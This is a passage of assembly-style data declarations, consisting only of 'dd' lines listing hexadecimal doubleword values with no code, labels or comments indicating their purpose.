		dd 90143E07h, 0ECC8CA76h, 0AAD2BB00h, 32FCEFD6h, 7B850090h
		dd 0E4B76D36h, 0CA1D211Eh, 2880B6CCh, 0FA24A2BFh, 749B1DFBh
		dd 0B3007B51h, 0B02DDA34h, 251F4339h, 5E00289Fh, 183EB9Ah
		dd 262B0044h, 0C5800ACCh, 0E3F84069h, 81DE7C03h, 98E0D811h
		dd 0E345B5Eh, 4F3C4BD5h, 5D3700BCh, 0D7440A15h,	0CB09D00h
		dd 5A2A6A23h, 5ECB58A3h, 80B10E1Ch, 9A8BEF1Ah, 300A590h
		dd 1093BF1Ch, 0BE5B21h,	83F81742h, 90197FABh, 55CF3803h
		dd 0E009ED05h, 29A8DE4h, 0A73037F7h, 66C05120h,	0A3070B43h
		dd 0C1D2CD52h, 99BA1620h, 98CA0714h, 2031FC0Dh,	0B5918FA9h
		dd 27964E00h, 0A0089F37h, 0CC670390h, 0D67A6228h, 0ED215EC0h
		dd 80C6F43Dh, 589F8B60h, 1C857B3Dh, 807EFD8Ch, 0E75CE548h
		dd 65009101h, 2012CFEBh, 0E80DDBh, 9270385Dh, 0F42BA3C4h
		dd 1AD82C00h, 0CE31F67Dh, 46E90095h, 0A4F858DBh, 0B201DF25h
		dd 62B34C28h, 0AAC83931h, 3F6500A7h, 0BD0BFC56h, 0DA00E975h
		dd 64D1FF80h, 0F69F084h, 0EE28D82Eh, 96D97C00h,	3E02FE92h
		dd 0DF5B7AB1h, 58C8C06Fh, 0F5C3025Dh, 0ECCFA1E1h, 9B068083h
		dd 7CB72EE0h, 405F9E4h,	5747A703h, 0BA38EAC1h, 9D58F8h
		dd 9C424176h, 6B65AE3Fh, 0B90AA100h, 2BA4C4E3h,	0F29801EDh
		dd 66B02AB1h, 9B2EE071h, 0FD84811Eh, 0DF40C140h, 0FB9C4Fh
		dd 445D661h, 5F9B1E4Eh,	0B23731Ch, 828701C0h, 39EEF5D8h
		dd 38801F3Dh, 30155B86h, 0A300F339h, 42D90188h,	0F70F14h
		dd 6FBD462Eh, 57E863DDh, 9E7E7B00h, 1EE05D32h, 66A80020h
		dd 0AE3022A1h, 0E61C6D11h, 644F2A34h, 0BFF2C0A7h, 0F0E57279h
		dd 0A574CBh, 319356D8h,	13C6D4DBh, 0DF7A5E7Ch, 1200AEE4h
		dd 91D34043h, 9A47ABh, 0FCAC130Bh, 83E66271h, 99D56001h
		dd 0F2CF462Fh, 0DAE2EE40h, 0E844506Ah, 60F7006Fh, 0FAE1646Ch
		dd 0B90E18E9h, 80D4C1CAh, 2134E54h, 918C00CBh, 0F686B331h
		dd 563E4A0Ch, 0AAC48271h, 600DEBE9h, 0B8586882h, 0A4A20080h
		dd 0EFA50359h, 0A800282Ch, 98E83380h, 0C47087h,	0D97E340h
		dd 0D9671B4Bh, 6A00EDFCh, 0F5CCE07Dh, 3741CDDh,	4D49D80Bh
		dd 0E7F040EEh, 0ED0012BAh, 0F1B6B02Bh, 33AA1CFh, 0D461BEECh
		dd 0D9D93353h, 42A02E48h, 0CF0707E6h, 1216A0DEh, 37DE735h
		dd 0B038DF52h, 0E6CAD02Bh, 324B0389h, 1778427h,	2AC0FDD3h
		dd 8A008C0Ch, 8FCAF482h, 3971D1h, 0BF9A777h, 9061C24Fh
		dd 0C425Ch, 899C78CBh, 79845Dh,	5619F258h, 216A2EDh, 32268700h
		dd 10F43748h
		dd 35F0540h, 3F76F7h, 78B8C0B1h, 0D005B73h, 0B28EF6B5h
		dd 295AF3h, 0BB31A0A1h,	7E7C2794h, 80B93939h, 0C854CF8Fh
		dd 31B083Ah, 51959F32h,	36D0AD81h, 0A72C70ABh, 9100D740h
		dd 29E5717Ah, 0A2B004Fh, 9259A090h, 6B003A5Ah, 529BBE82h
		dd 948141h, 8687F72Bh, 3A657A44h, 4238B600h, 754903A0h
		dd 0E9151FF2h, 10D540D9h, 9BA97BFDh, 0EF93B2Eh,	61127E00h
		dd 391CA5E9h, 6B7B741h,	0D8550064h, 0FC006387h,	3EAC71B1h
		dd 2438A4F7h, 0B0E3F3h,	7BF01379h, 0AB00A1E5h, 0CDFCDD55h
		dd 1A5A2ACh, 9438C90Dh,	30B54AE8h, 0F1006B0Ah, 74982442h
		dd 0BB9A71h, 2D14C5ECh,	4B83A98Ch, 918BD500h, 93C7F32Ch
		dd 0AE6100F5h, 0A7968820h, 0D7001B3Ah, 356D4E5Ah, 0CB9105h
		dd 1236DFDBh, 9CEC0BD1h, 0D31C900Bh, 0E0D50FDAh, 0E7514BFBh
		dd 3A7E3Ch, 0CA81B326h,	381759C0h, 0B2EB070Eh, 5AC01DA0h
		dd 0A968C456h, 6C16038Bh, 60B5D02Dh, 9AE98DA0h,	1D26867Bh
		dd 0E400B292h, 0E87864D9h, 0DF61001Eh, 0E044FBB0h, 5EFE57A5h
		dd 86D45F00h, 73C515BFh, 0FEAC05E8h, 83C8B44Fh,	8BC1DE03h
		dd 30824748h, 0F9A1C045h, 0A79D3200h, 0C6B1C9FFh, 9C8B0FD3h
		dd 7AFCFB52h, 0B0564580h, 7919C3E9h, 66415C00h,	0EF84EABCh
		dd 0C43B0015h, 898D47EDh, 7B00145Ah, 5D25C179h,	0DD59A6h
		dd 41B76678h, 39E635FEh, 0A86BE300h, 0C6578A30h, 0D9EB003Dh
		dd 0DD345A3Eh, 9000781Dh, 0B223B5Fh, 7D62E8C3h,	19840112h
		dd 0BE047175h, 8C9D70A3h, 5BCD7204h, 1EC0B482h,	943E9Fh
		dd 7F104E83h, 1CFE53D8h, 6DFDDF12h, 0E074A707h,	0A33075E1h
		dd 7B47FC8h, 310E9A2Eh,	0CDB260BAh, 0F98338Eh, 0A49FA506h
		dd 1F32BE06h, 41C35A72h, 5BCB433Bh, 0BBFCE846h,	15520C00h
		dd 0E4323189h, 81A6007Fh, 44147325h, 0F200706Ah, 0D510A106h
		dd 528249h, 1E43016Fh, 0C363D3AFh, 40093400h, 4B5F3DA6h
		dd 5F907Dh, 2AF003FFh, 66AFE5B4h, 6D0E5075h, 0E021A816h
		dd 0CB86DE53h, 0F4250744h, 80ABFB17h, 0DC11ED3Dh, 14645B0Eh
		dd 0C3FA4040h, 3113B6h,	5890B815h, 0F8AA4B6Dh, 6FEB4D00h
		dd 0CADD468Ch, 0E0851EE6h, 2D309CEh, 0D949C780h, 8BF2DC8Ah
		dd 4E1E6207h, 1D905FCAh, 0D33D4Fh, 5D1706EFh, 0B4F3DAF7h
		dd 0ECA6AE00h, 123284B3h, 34E81FDBh, 0FE3C00CDh, 59BCFB70h
		dd 7E5C2700h, 28C1D82Ah, 0E87700A4h, 303C4849h,	42001846h
		dd 0CB6CD73Eh, 0A1CE6Fh, 84992FC2h, 0AA648A10h,	24A0CA5Ah
		dd 6DB700C0h, 8DD9F0D5h, 0DA03CD24h, 88093049h,	0AEC9D817h
		dd 0DBE0FB90h, 0B3460394h, 9AFD377Bh, 4706CB8h,	0CE59B003h
		dd 0C0E7B588h, 1C1A691Fh, 40944396h, 0CD60C5E5h, 0A2004904h
		dd 8BC9D90Fh, 0E3C8F6Bh, 0CCA04666h, 31736960h,	4A72EA2Bh
		dd 0A7009C73h, 7AAB7F3Fh, 7E33E5F6h, 0E7A0000Ch, 92F41835h
		dd 14005284h, 0F0BBD3B8h, 8B7B90h, 66F727A0h, 99219FFFh
		dd 0F26C4C00h, 89BF828Fh, 262C00D3h, 0D82925DFh, 300020BEh
		dd 9E632E4Ah, 0F1AC1CFh, 45E3F272h, 27FD27h, 0D93C1089h
		dd 0B373BE01h, 3668489Eh, 38B31C8h, 0EFD2FD2Fh,	0BBE8A76Eh
		dd 33001FFAh, 2D3096B1h, 70B3DF70h, 0D2D907C3h,	10B63DEDh
		dd 8153332Eh, 654FA01Eh, 0B087DBC0h, 0CB48C2h, 4E8890BCh
		dd 462B3558h, 0AD32EA00h, 9D79AC65h, 5A0A0084h,	58F5A471h
		dd 3078578Ch, 8AC9FA00h, 3E6D4419h, 0C79C3E4Ah,	0E7E41F01h
		dd 21BDD3C1h, 0BB6FF86Eh, 526A8500h, 0C9D955Ah,	4869E82Ah
		dd 1100B2BEh, 3F0135F8h, 0F700AA30h, 0A54FCE83h, 716B65Ah
		dd 67764660h, 0AF9DC084h, 3D0069A6h, 472BE563h,	0E38DC6h
		dd 1304FDEDh, 52AECB6Dh, 5FD6BB00h, 0B2A3F929h,	0D2880003h
		dd 89873DD9h, 47015369h, 50604975h, 2F08E2Ah, 642B000Ah
		dd 1C9D633Eh, 1FE84A04h, 854D2E03h, 0DB92849Ah,	0DB7EA8B0h
		dd 320300B3h, 0C1955D55h, 0AF3F7B45h, 0C7580063h, 4D4B9383h
		dd 5AE4005Eh, 0D3B9F0A9h, 8800AC05h, 99E866CFh,	73D819h
		dd 2A3DE5CDh, 600870A9h, 32FEB800h, 0D90B95DEh,	0C6C31488h
		dd 77B898h, 63B8EBFFh, 90D0255Dh, 5C6F9400h, 0CF3E1BA5h
		dd 0DA9081h, 4996022Bh,	0FBE22E09h, 18E4F90Eh, 5D66C09Ch
		dd 9B8F53h, 9FABC017h, 0CE7B7AEFh, 0A80EBF03h, 88C13542h
		dd 32E1F7h, 0EC36B594h,	57A39221h, 75EEAA1Eh, 12523F80h
		dd 36DC6A8h, 96132DF7h,	0D5AA8418h, 0CE4BB80h, 5900458Ah
		dd 0E8F01142h, 70A017EEh, 0C4F20064h, 588D4E92h, 0A11D24E9h
		dd 0EF401CDAh, 82FAB490h, 0FC6F0069h, 23D74115h, 0AF600EA0h
		dd 943271Ch, 97B003E8h,	2DC1AC62h, 36AB0BF8h, 4935A900h
		dd 8B915C33h, 42A0030h,	0DD8A966Fh, 0DA002890h,	135518BAh
		dd 4E1E71Bh, 4E1AF4E9h,	1DD6C025h, 9008CE2h, 0CF243478h
		dd 0ECB6F2FDh, 339900DAh, 0E119DC61h, 310022ACh, 85033765h
		dd 7A6BBF9Eh, 0A9210049h, 0B04D489Ah, 5E0011A1h, 4A7A6CFEh
		dd 995A7Bh, 0CF5C46B6h,	0FC87DA49h, 33BC7601h, 9134E4C7h
		dd 9CDE4h, 0B1655163h, 5B29F889h, 5C6EB43Dh, 40D6001Eh
		dd 938B42D1h, 0C1B70F39h, 0D900E179h, 3076752Dh, 7754A700h
		dd 8A65D7E2h, 135600FFh, 0A5855A83h, 15EA9107h,	0E904F400h
		dd 5F8E1C3Eh, 0CB054886h, 3AEE6600h, 5A485DCAh,	0EBCFFB03h
		dd 0A0884F5Bh, 17FCAEh,	825CF931h, 0B9A4A383h, 2201647Fh
		dd 54456CEAh, 71D0BE61h, 6D1F1EFFh, 1462800Eh, 3D15B68Ah
		dd 0BCCA4800h, 461B1806h, 28C7023h, 3CD9B2A0h, 60FDF720h
		dd 39EC535h, 65907F24h,	18D93D1h, 70AAA4F2h, 6C86D8E7h
		dd 8AA98900h, 4A570C84h, 65B10093h, 6BE4F624h, 77004937h
		dd 4B4D34E7h, 0D9A988h,	2E69053Ah, 0CF1FB619h, 0BE5EFF00h
		dd 0BB54F138h, 0D83B2EE3h, 85910090h, 6A258F18h, 966D151Dh
		dd 0C15B03BDh, 3B4AB4h,	0D8FAE6A0h, 4608EF9Eh, 1D19163Ch
		dd 8E4705F0h, 716027C8h, 0F1C253Fh, 0A475D694h,	59DBA960h
		dd 4F0EA668h, 808DAEDCh, 5383402h, 6F64009Bh, 0DA3C78ECh
		dd 0A600923Ah, 0ED39BEFFh, 5561B2h, 7D66D602h, 1A1CBA03h
		dd 7A7B0F00h, 143A2D81h, 1DE5FA76h, 4F6C9C4Ch, 4120BA35h
		dd 2953A16Bh, 0CB69DC00h, 21C496C3h, 0D31B008Ah, 6F883E1Ah
		dd 300062EAh, 6618A452h, 15C292h, 6D6AEEF8h, 0F6FAAB3Ch
		dd 19293Fh, 0B9DD431Ah,	513349Bh, 0B3819069h, 86E88350h
		dd 7D027190h, 2C63AD3Ch, 6C171A64h, 74252C00h, 894E14h
		dd 918CF409h, 0F19C515Dh, 0F7363003h, 0A05C7544h, 0F6A2456Fh
		dd 38A61C0Eh, 6BE680FAh, 0C7DABDCFh, 0A553B0Fh,	0E313C0C8h
		dd 0F756B1h, 0CE0CC281h, 0EF0BE7E0h, 0AACF4A00h, 37223E5Bh
		dd 0BF900048h, 7E07ED20h, 971E30F7h, 0DE8064D9h, 1AF5E08Ah
		dd 9B1300D2h, 0F87A2DDDh, 44004D66h, 55260914h,	76D1431Bh
		dd 62590086h, 2B843F98h, 0A90E0389h, 0C02390BBh, 0D7F57997h
		dd 1BB507C5h, 9705FEDAh, 5925A0B3h, 0E4E2E338h,	29935301h
		dd 0FF32DF91h, 4FADE8h,	76E1597h, 84E6055Eh, 81936303h
		dd 0C85B0D18h, 386CB2E8h, 0C1015AB5h, 0DB7DDD62h, 9890E721h
		dd 14007A1Eh, 0A929801Fh, 1750B66h, 8D073C39h, 0D81625C3h
		dd 76002ACEh, 9E4337E7h, 0F08A997h, 7039209Bh, 0C61A6440h
		dd 4D76DBDFh, 0C1494B00h, 884E1D9Ch, 0B6680009h, 0A6ED7374h
		dd 0B3006F26h, 82CCA2A7h
		dd 1924B7h, 257B883Fh, 2667E192h, 0C7EE9800h, 6066F280h
		dd 2E49001Ch, 8825827Ah, 210B53CEh, 0E6AB5CBh, 0B19581A2h
		dd 0A5F4ABCCh, 0F0C00350h, 0C4CD0636h, 7D261AF8h, 4CBEE600h
		dd 9A1ECFC8h, 93D500ECh, 0DD97A68Eh, 6F0FE2EFh,	20D815AFh
		dd 2863D0C5h, 0CB1F0071h, 2FBBCE70h, 50E590Bh, 80C5DAA7h
		dd 1529C192h, 0CC81029Fh, 403A9C66h, 0E51CC181h, 0DB26DC17h
		dd 0D07DA3E4h, 68131800h, 9D31A5F2h, 773D1D8Ah,	624E0EF5h
		dd 0AFE05281h, 0CDBEDDBDh, 0F0D1E0EAh, 0D83A470Fh, 0F880F2Fh
		dd 3E6B4099h, 0F1AC98h,	13D5F895h, 0F23DD737h, 4F82110Eh
		dd 0C24E000Bh, 4CC47h, 5A6EEEB7h, 73456096h, 6F7BB800h
		dd 5FCA1AC0h, 0A84E002Ch, 0B602AE67h, 455A0581h, 0F00079ECh
		dd 0D713585Ch, 0D0F95024h, 9D00D0AAh, 0DF0BA47Dh, 0E2B6E54h
		dd 0F80C6F2Ah, 8EFD9720h, 563A821Dh, 3A5F0143h,	0AD861227h
		dd 1FDBC0h, 0D8D0F00Fh,	0EFD1E136h, 463BED04h, 0BEE7F3h
		dd 0B7DA2F75h, 51015840h, 9B6D2487h, 0C0C33835h, 3F1FF2h
		dd 4F9010CBh, 89777817h, 0DD8E2D00h, 8B4EB7DEh,	0C5440066h
		dd 6CCC2FC9h, 0CB00B6C8h, 3AFDD507h, 10B82AFh, 3D40E8F1h
		dd 2006A822h, 89000335h, 988B924Dh, 5F61B9D3h, 58A824h
		dd 0CC9A26D0h, 1F73CAh,	92961E17h, 0DBF162Bh, 80E9053Ch
		dd 7422EF15h, 709EB71h,	117902BEh, 211D503Ch, 10002E37h
		dd 0FE2FE47Ch, 86F483h,	5FAEF8C3h, 0B59691Dh, 0A6E8A1ECh
		dd 0B500177Eh, 36054B0h, 3E69B644h, 99810449h, 0E3C3C76Bh
		dd 3C0EE4FEh, 0B9E16000h, 0D1CDEA76h, 3B2E2A7h,	0D81FE235h
		dd 60F8D3FDh, 3601D431h, 34EE5F97h, 47D41958h, 0AB7F07C4h
		dd 20E3A159h, 3053C53Dh, 0BF9FCF00h, 7EC21164h,	8180084h
		dd 155FF238h, 0EA395D78h, 25CF014Bh, 37D269B3h,	7316C6D0h
		dd 837600EEh, 0DAAE966Eh, 6A0FCC04h, 818C991Ah,	41076C68h
		dd 577EF0h, 2F4639F4h, 770DD19Ah, 2D00C8F2h, 7424B08h
		dd 74B4B6h, 0D0E83BE2h,	6C1C1D0Ch, 8D899800h, 6B94D416h
		dd 856007Fh, 0B88FD579h, 6FFEF1F3h, 4E491000h, 0B60DDE0Fh
		dd 2DD70065h, 0D6422815h, 0F000AC2Ah, 80448921h, 853A07h
		dd 0A8EF88C7h, 5472438Eh, 21D4900h, 16C3BB0Eh, 213E005Fh
		dd 0F54EB10Dh, 5E03821Fh, 0FF8C7757h, 760980F4h, 719852h
		dd 0A8D52B73h, 4A711315h, 1E0CFB3Bh, 0B59EE3C2h, 6990A280h
		dd 0BF6AE4h, 0F7B63E4Fh, 439B26C8h, 8920031Dh, 0C1F9040h
		dd 753D536h, 2AC9650Bh,	0F15A301Ah, 1D004C5Eh, 0D1269334h
		dd 0BF26447h, 2430988Dh, 0F9EB9700h, 6E77F163h,	15E92500h
		dd 7A659974h, 0C0D2003Dh, 87C35BB9h, 5E3F4468h,	7E5700A9h
		dd 66ED82Fh, 64A60056h,	0D52DBBC3h, 71004750h, 0C4AC6904h
		dd 0F4B625h, 64918E58h,	0EFED3BFAh, 81DBA500h, 5A2FA155h
		dd 0B88000CCh, 34979CF6h, 1F30BF71h, 94DC58DAh,	0B6B0FBh
		dd 29C52FA0h, 0C89966DDh, 1DB53400h, 3689260Bh,	7AE80354h
		dd 0EA2DE5F1h, 77CE12F8h, 75EC5F00h, 8397D6F7h,	0C4781Ah
		dd 0EB6013C2h, 507B2B40h, 2175B200h, 575D5816h,	339001B0h
		dd 328CBD2Fh, 3710D4C4h, 201A4B00h, 0BB055FA5h,	2BE80764h
		dd 0D018EB72h, 10B3572Ah, 92B41700h, 0A30EF063h, 8B040088h
		dd 0F236A86Fh, 0B00BCCFh, 0B57EB8C3h, 1C0A4F32h, 536DA3h
		dd 4CFFBEDCh, 7800057Ah, 350EFE41h, 7E5BAEABh, 0F1BB0072h
		dd 0C3E3ADF3h, 1300CBC7h, 0C86219F4h, 3B61ED3Dh, 38733C2Dh
		dd 4C0FEB70h, 0D6CE21C0h, 688A4500h, 5C0028C6h,	74EA0BFAh
		dd 36F5BE6h, 2778F3D3h,	9E8D543h, 191D46A1h, 418413CCh
		dd 0C7C5915Bh, 0E97CFE83h, 48F07681h, 4C9A0028h, 0D63E2097h
		dd 58EA60FCh, 7C428800h, 0B52E178Fh, 0A4A7EE7h,	8EF4C70Eh
		dd 48401CEh, 0C0957344h, 2D000D7Dh, 1C185169h, 48ABC93Dh
		dd 0D50EFA0Fh, 49453819h, 7079A81Eh, 73E2400h, 0FBFCD1AAh
		dd 6A7A38A5h, 0A77C5D0Fh, 0C045B320h, 0BA74C993h, 6B1E8300h
		dd 0AA847969h, 0E230710h, 0B35827F7h, 11D0AC59h, 0EE00519Dh
		dd 9AECCDCAh, 1D63906h,	0AEA40EA2h, 0C82B992Dh,	8600727Eh
		dd 0B6BEEEAFh, 1FCE4A1Ch, 40DE3B8Fh, 521E8732h,	59009F14h
		dd 0EC21083Dh, 3FB85Ch,	0A80781EFh, 1C5463CBh, 0DD09E900h
		dd 5BA06552h, 0E877D2Bh, 34B94CD9h, 0DAF23C40h,	2600303Ah
		dd 9390E129h, 3DB164h, 0E8078EBAh, 0E9DD4AD8h, 43C7DC00h
		dd 66ABE2CDh, 0BA94008Fh, 1F1B544Fh, 9100BF63h,	46DA69C0h
		dd 90AD7704h, 0AA70386Eh, 8F1226h, 90259FE0h, 5C1D8659h
		dd 0B5C096AEh, 0A058849h, 681900E6h, 3DC3E49Ch,	8D1D8F17h
		dd 0D0DC0379h, 30835740h, 13BB7F16h, 0BF4B4D77h, 6576F200h
		dd 5AA049h, 0C5F8C88Bh,	0C43EF6B1h, 2E8F7200h, 0F7E69106h
		dd 3D67CFFh, 2265E79Ah,	30E077ADh, 5E072521h, 0E5EE45BAh
		dd 959C0AD0h, 0B2EB004Ah, 6F0E7D1Ch, 0F9008DC4h, 69117C8Fh
		dd 0EA533781h, 48F40087h, 0E3C0E25Bh, 8B00EB8Dh, 12BA530h
		dd 0D5915Ah, 93EA1A9Fh,	87898F62h, 0FAAFDA1Dh, 0A0475E0Eh
		dd 9B43DFE4h, 5CA7EE63h, 0C300E962h, 0FFAC7464h, 3B0003D7h
		dd 125C3A61h, 186A2EBh,	6BC22FB9h, 2093BCF5h, 0DE8EDA9h
		dd 5E002070h, 0E2134F31h, 0E91B48Eh, 0B3553696h, 0EFAE3A80h
		dd 1930AB01h, 0DDD0D24Eh, 9ABE053Bh, 11A4A5h, 2B695282h
		dd 0EE04EF19h, 0E8495BA8h, 88024BC3h, 719B17h, 0EA83A50Bh
		dd 0D943A0B1h, 0CD1C7601h, 618D12FAh, 32F24D4h,	79EF6B51h
		dd 42E89EF8h, 10005947h, 0CDBB4614h, 19B18Dh, 7A8688F5h
		dd 304332EAh, 0D5BC8900h, 0E5FD5A0Ah, 58AB00A4h, 0A0DB7544h
		dd 0A90CCF5h, 5D4BD600h, 7B61609Bh, 7C390056h, 0C71182A6h
		dd 8A7BED5Fh, 0A5A05E00h, 2F5023B5h, 240300C9h,	92D916A3h
		dd 0BAB07A26h, 0AAD36000h, 703B756Eh, 0E0740076h, 0BF8F54B7h
		dd 820F67F5h, 41276F25h, 0B897CF77h, 0BE4320h, 32AE4098h
		dd 0E5AD3FD4h, 5F841200h, 0F69256C8h, 0F56F00ACh, 6495F298h
		dd 1E79BED1h, 349ABB00h, 0EC452DCEh, 9CE8F0h, 0A17EC7E7h
		dd 52E1158Fh, 67831E07h, 0EBA0ED8Ah, 0DF9146h, 0CD39BA8Ch
		dd 59E54DDCh, 24003BFEh, 7BAD60B2h, 1B1E875h, 9D6CD86h
		dd 7080A998h, 1C3A16A8h, 0AAC68046h, 0D0530EF7h, 0B36700F1h
		dd 0A8FE0265h, 430026A7h, 8FD7E063h, 0FB725C9h,	0B8F6A269h
		dd 90CAEF07h, 0CCD09C47h, 0D914C400h, 410AAEBFh, 8094004Eh
		dd 67C295E4h, 0AF009B37h, 0D736F8Dh, 0FB86CBh, 0C73DDD5Ah
		dd 76EDB61Bh, 1E008978h, 19E1D6CFh, 0FFDF8CEh, 1443D1DBh
		dd 2F8433E0h, 40285453h, 9F0E85B4h, 40BEFC22h, 0D8C9F8D3h
		dd 0B7AA3AF4h, 2EE9CD80h, 0A226C285h, 7E375F00h, 19982794h
		dd 0AE72FBh, 63253654h,	7B66C27Ah, 0D58E260Fh, 9BB9E03Bh
		dd 17E1242h, 0D086328h,	0E86075B7h, 0A1010FE3h,	0DDEAAEF0h
		dd 0FECCAD05h, 39E1E10h, 9F084715h, 73C8C042h, 0A77D3536h
		dd 0F17EA200h, 89A43303h, 0B39507C5h, 53D8762Dh, 0E813BF0h
		dd 4CD1E850h, 9D5F833Eh, 8F42491Fh, 0C0E2A1A4h,	3C6C71h
		dd 7C1088A8h, 5D23D679h, 0D9B9A902h, 0E02546FCh, 0D07A80h
		dd 6E0C37E1h, 0A56D974Eh, 604B9470h, 5100D3ACh,	0B384BE8Dh
		dd 5701F7C7h, 0C8DA180Ah, 1BD1E071h, 0AB53F4h, 7AA9DC2Ch
		dd 9EE8F1C4h, 0B3F96F00h
		dd 0CE9D811h, 816E00F3h, 42FB7E6h, 0BE051373h, 0C31E798Bh
		dd 5AEF7E80h, 0A1B10065h, 8897B323h, 6900D4BEh,	2F34C3EEh
		dd 4DFC3Ch, 0E1BC928Dh,	53A91EE3h, 46FA6907h, 0DDD3DCB4h
		dd 240E72Bh, 9F1E4AF4h,	0DEAB2A60h, 9CB14600h, 0D7263ADh
		dd 2A49000Ch, 2D88CE8Ch, 371CABA2h, 76C0C02Bh, 0F3FA4766h
		dd 4BC40036h, 1C12753Bh, 54002298h, 0EC7D893Ch,	0E631359h
		dd 11518714h, 405896A0h, 0F91646D5h, 0C30F1B6Dh, 0DF8360BBh
		dd 7D7C91h, 36AFEDE0h, 43B71509h, 50AAC402h, 800FEAD6h
		dd 0B0317ADBh, 194B0288h, 70E12B20h, 0E03E25Ch,	0C0E8B4B6h
		dd 734A903Ch, 69CC3C46h, 48F1C380h, 0FC474413h,	0AE022000h
		dd 899EA363h, 9C101C04h, 3FB680EDh, 2728DB01h, 620F9603h
		dd 0B0D13BD4h, 7AB0FEF1h, 0E9DA0023h, 914E8CF9h, 0B1008F7Eh
		dd 0DC86030Ah, 76739098h, 11A3008Ah, 295577D1h,	0CE00BB8Eh
		dd 23F00B4Eh, 5AF40Dh, 4AFB79DAh, 56FE94A2h, 47146100h
		dd 0EE373036h, 0C0B60025h, 0DE977B7Eh, 0FF004609h, 0CF395355h
		dd 0F344D0Ch, 35B083D8h, 0EE2532A0h, 7800D075h,	0C40CD536h
		dd 0E3BDAh, 6F5ADED3h, 0B4AAF999h, 71AD400h, 9332C5D5h
		dd 51BD0097h, 0A30EF3FBh, 0BA007E24h, 6B3B3136h, 0E71250h
		dd 0FC666FC2h, 0FF28D126h, 4D759D0Fh, 1C3A80C4h, 0E417EFh
		dd 5881E66Ah, 1E1BAA5Eh, 0CC847200h, 0FD823D14h, 0EE4A0085h
		dd 2CC74152h, 584CBE0Ah, 80933C93h, 786F7112h, 3802AC9Bh
		dd 0D000FCBh, 0A5483E6Dh, 0C6009927h, 29DD436Eh, 63E397h
		dd 3D7C52EAh, 1DC7F869h, 704963Ch, 0E97347BDh, 980C0100h
		dd 0BCA4003Fh, 5F404EA2h, 6B0E76C3h, 6058C757h,	0FFB8DC35h
		dd 73380164h, 0CE70F016h, 5F3F499h, 0F2023Dh, 0AFE62574h
		dd 8E828Ch, 0AA1764A6h,	6F426CE1h, 1EF96700h, 0BF84A911h
		dd 0F81505D8h, 0C02774D1h, 0EB633A9Fh, 0A700E173h, 3CCDF2CAh
		dd 5CBAF9h, 88EFC4ACh, 56AD2E82h, 488BED03h, 0D8083E3Bh
		dd 0ECCD30A1h, 62241EF5h, 2B1F4F95h, 8800D49h, 4C25393Fh
		dd 51B23700h, 8F5C7DA5h, 0CD78003Ch, 140C28F1h,	0E003F5F3h
		dd 0A62252CEh, 0E6E8D817h, 9FBD004Ah, 0DF8DE929h, 0E72CD598h
		dd 7500A134h, 3D2B3101h, 0C3050286h, 9DE1678Bh,	0FF985443h
		dd 0D77374CDh, 947D6107h, 0BED04A59h, 0F5183E12h, 6930D0h
		dd 9F8C62D8h, 2AEFE10h,	79956500h, 40DD746Dh, 70B005h
		dd 82CCACDAh, 0C04E8DF5h, 5A66D201h, 3EA42EBBh,	0FEF8C0h
		dd 2A92AB2Dh, 9AFDAC27h, 0E6138000h, 9FB01AD0h,	3390106h
		dd 8E18C3FCh, 61DBE8D1h, 0AB70BC00h, 569CB20h, 4F353E22h
		dd 9ECC0076h, 2C859C6Eh, 0C5009A31h, 1FC83CC7h,	175F2750h
		dd 300665h, 0ADB6BF04h,	6F3D6B0Bh, 0E3C6000Dh, 252D8B3Bh
		dd 0A4C00FC5h, 15EE13CCh, 5E4448C0h, 0CE3FD9BDh, 3F08804Ah
		dd 7F3BC31Fh, 37B40021h, 8FFB1486h, 407B01Dh, 0F9876352h
		dd 80CC8993h, 3F3EE0h, 0A5EDC45Dh, 2E528AAEh, 0F75FE400h
		dd 1193E774h, 0AD6B00CEh, 20489E13h, 6F00C892h,	19C7BB47h
		dd 0B8B8DDF4h, 8465009Eh, 51CE4598h, 0E100E48Fh, 63F9DA78h
		dd 0F35A86h, 0E2C055DFh, 32779184h, 0D70B3700h,	41CBC149h
		dd 0A92207F4h, 0D0A28A75h, 1E103D8h, 0C5FD9C03h, 0A0E5ECC9h
		dd 8F5B46h, 0A032E7EEh,	0C8BEE208h, 7AB26824h, 0C4780Fh
		dd 3958AEDEh, 7F280052h, 64AD0C0Fh, 9A1C77E7h, 760E894Dh
		dd 6A31A0A9h, 53BFEA3h,	0B2D8D751h, 0A67480EFh,	0A212AB8Dh
		dd 7C0049B5h, 6C374FCEh, 58F20068h, 39FB3BCh, 0A0006A01h
		dd 6EDBB4DEh, 2B07D12h,	775B2682h, 2AC07E63h, 0E00E27CAh
		dd 0DD686Ah, 5634C8CEh,	0A8D30083h, 65B5B2C1h, 0D679FA1Bh
		dd 0BFF8FE78h, 0C8ADB100h, 0E83D8E3Eh, 1AE50082h, 1F3830BDh
		dd 6C077215h, 0ED6240B8h, 0BF36E450h, 35651FC3h, 2D1500FEh
		dd 31DEA4D7h, 0FD01ED00h, 0C7A0BDC9h, 96F30070h, 7AB01B99h
		dd 0C3001C80h, 6E33E87Ch, 38075337h, 848002FBh,	0A67EB3E4h
		dd 0B7773E71h, 66DE7900h, 59402F08h, 971C00C8h,	0BB7CC742h
		dd 9007A25Dh, 9B2A35DCh, 2260D890h, 0A33200D5h,	9DD571Ah
		dd 40155D1h, 2E631608h,	0B720A987h, 8C2101B6h, 6E12EB6Ch
		dd 3CAADB64h, 0C8B6E377h, 6AAF37h, 5B2A5C7Fh, 0F0F970B7h
		dd 0DD6B8D02h, 408AC4BAh, 0A77D8h, 1404F1C8h, 57034264h
		dd 75DB6738h, 21EFCE07h, 6B31EDFBh, 60F0C1D0h, 7F390064h
		dd 0AA015323h, 0C40386E9h, 0DCC0E0A8h, 6221C8EAh, 5B7029h
		dd 249ED813h, 93BE6971h, 375FF901h, 745EA391h, 2E4BC0h
		dd 83DC29AEh, 0FCB95A76h, 0F05BB800h, 0DAA39003h, 60C7003Fh
		dd 923D6A55h, 0B00E94Ch, 244296B3h, 9717CC5h, 37394FF4h
		dd 69DAF00h, 7B001FFEh,	0D7FFF808h, 0FAFCA4Ah, 5FDC24F4h
		dd 70EA3EE0h, 72139EECh, 0C700512Ah, 620AAC49h,	2F5C02DAh
		dd 0F1D63233h, 0B81D4AC0h, 3C3D3800h, 90E5450Ah, 0EAE00C6h
		dd 484FF58Eh, 300F681Ah, 0E7814D08h, 0D862AFCFh, 0ABF6400Eh
		dd 71F600B2h, 0EE2F377Ch, 0C9001C44h, 21A76E18h, 0EA6BE75h
		dd 0C789E878h, 9E27ED80h, 42014851h, 593C95DBh,	0F0E7830Bh
